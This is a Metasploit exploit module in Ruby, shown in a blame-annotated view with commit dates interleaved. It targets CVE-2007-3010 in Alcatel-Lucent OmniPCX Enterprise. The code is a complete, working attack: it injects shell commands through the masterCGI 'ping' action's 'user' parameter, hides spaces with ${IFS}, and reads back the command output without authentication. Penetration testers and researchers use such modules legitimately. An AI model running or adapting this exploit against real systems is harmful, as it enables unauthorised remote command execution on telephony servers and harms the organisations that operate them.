2009-09-01 03:43:16 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-09-01 03:43:16 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-09-01 03:43:16 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2010-10-05 23:13:04 +00:00
|
|
|
Rank = ManualRanking # Only interactive single commands supported
|
2009-09-01 03:43:16 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-09-01 03:43:16 +00:00
|
|
|
'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module abuses a metacharacter injection vulnerability in the
|
2009-09-01 03:43:16 +00:00
|
|
|
HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
|
|
|
|
Communication Server 7.1 and earlier. The Unified Maintenance Tool
|
|
|
|
contains a 'masterCGI' binary which allows an unauthenticated attacker
|
|
|
|
to execute arbitrary commands by specifing shell metacharaters as the
|
|
|
|
'user' within the 'ping' action to obtain 'httpd' user access. This
|
|
|
|
module only supports command line payloads, as the httpd process kills
|
|
|
|
the reverse/bind shell spawn after the HTTP 200 OK response.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '40521' ],
|
|
|
|
[ 'BID', '25694' ],
|
|
|
|
[ 'CVE', '2007-3010' ],
|
|
|
|
[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
|
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
2009-09-01 03:43:16 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic'
|
|
|
|
}
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-09-01 03:43:16 +00:00
|
|
|
[
|
|
|
|
[ 'Automatic Target', { }]
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Sep 09 2007'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
|
|
], self.class)
|
2009-09-01 03:43:16 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-09-01 03:43:16 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
cmd = payload.encoded.gsub(" ", '${IFS}')
|
2010-04-30 08:40:19 +00:00
|
|
|
req =
|
2009-09-01 03:43:16 +00:00
|
|
|
"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
|
|
|
|
"Host: #{rhost}\r\n\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-09-01 03:43:16 +00:00
|
|
|
print_status("Sending GET request with command line payload...")
|
|
|
|
sock.put(req)
|
|
|
|
|
|
|
|
res = sock.get(3,3)
|
|
|
|
|
|
|
|
if (res =~ /<h5>(.*)<\/h5>/smi)
|
|
|
|
out = $1
|
|
|
|
print_line(out.gsub(/<h5>|<\/h5>/, ''))
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|